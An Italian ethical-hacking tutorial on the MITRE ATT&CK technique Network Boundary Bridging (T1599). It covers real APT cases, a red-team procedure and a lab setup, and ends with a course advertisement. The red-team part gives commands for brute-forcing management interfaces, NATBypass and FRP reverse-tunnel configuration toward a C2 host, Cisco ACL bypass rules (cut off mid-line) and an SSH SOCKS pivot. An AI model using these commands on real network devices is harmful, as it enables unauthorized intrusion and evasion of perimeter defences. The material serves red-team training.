Bridging del Perimetro di Rete: Network Boundary Bridging (T1599)
Network Boundary Bridging rappresenta una delle tecniche più insidiose nel repertorio degli attaccanti sofisticati, perché colpisce il punto di fiducia strutturale di un'architettura: i dispositivi che separano reti attendibili da reti non attendibili. Router perimetrali, firewall e apparati di segmentazione interna vengono compromessi non per estrarne direttamente dati, ma per riscrivere le regole del gioco, consentendo il transito di traffico normalmente vietato attraverso il confine di trust.
La tecnica si colloca nella tattica TA0005 (Defense Evasion) e opera trasversalmente rispetto alla kill chain, abilitando fasi successive come Command and Control (tramite Multi-hop Proxy), Exfiltration (tramite Traffic Duplication) e Lateral Movement verso ambienti partner o filiali. L'attaccante che ottiene controllo amministrativo su un dispositivo di frontiera può modificare ACL, aggiungere route statiche, creare tunnel GRE o IPsec non autorizzati, oppure disabilitare policy di ispezione, di fatto cancellando il confine logico senza toccare host interni.
L'impatto è amplificato dalla natura silenziosa dell'azione: la telemetria endpoint tradizionale non vede nulla, e i dispositivi di rete spesso hanno logging insufficiente o non centralizzato. APT41 ha sfruttato questa classe di tecnica con NATBypass per aggirare firewall e accedere via RDP, mentre la campagna Indian Critical Infrastructure Intrusions (2021-2022) ha usato FRP e tunnel VPN attraverso MSP compromessi per raggiungere reti di utility elettriche indiane.
In un ingaggio red team, la simulazione di Network Boundary Bridging richiede accesso privilegiato al dispositivo target, ottenibile tramite credenziali di default, brute force su SSH/Telnet management plane, o sfruttamento di CVE note su firmware Cisco IOS, Juniper JunOS, FortiOS o PAN-OS. La fase preliminare passa per enumerazione con nmap -sV -p 22,23,80,443,161,830 per identificare interfacce di management esposte, seguita da tentativi mirati con hydra (open source) o ncrack (open source) su protocolli amministrativi.
Una volta ottenuto accesso enable, l'operatore red team può replicare il pattern di APT41 utilizzando NATBypass (open source, disponibile su GitHub come cw1997/NATBypass), un tool Go che stabilisce port forwarding TCP attraverso NAT usando un nodo intermedio. Il comando tipico lato server è nb -listen porta1 porta2 mentre il client interno esegue nb -slave server:porta1 target:porta. Un'alternativa ampiamente documentata nella campagna Indian Critical Infrastructure Intrusions è FRP - Fast Reverse Proxy (open source, fatedier/frp), configurato con un file frpc.ini che definisce [common] server_addr = <c2> e sezioni proxy TCP/UDP per esporre servizi interni.
Sui dispositivi Cisco compromessi, la manipolazione ACL avviene in modalità configurazione: configure terminal, quindi ip access-list extended BYPASS seguito da regole permit ip host
Per laboratorio sicuro, consiglio di costruire l'ambiente con GNS3 (open source) o EVE-NG (freemium) emulando router Cisco IOSv e firewall pfSense (open source), simulando due segmenti isolati e dimostrando il pivot. Il framework Sliver (open source) o Cobalt Strike (a pagamento) può essere combinato con pivot SOCKS attraverso il dispositivo compromesso usando ssh -D 1080 -N user@router se il device supporta shell, oppure iniettando implant embedded quando il firmware lo consente. Documentare ogni modifica di configurazione è essenziale per il rollback post-test, evitando lasciare ACL residue che comprometterebbero la sicurezza reale del cliente.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo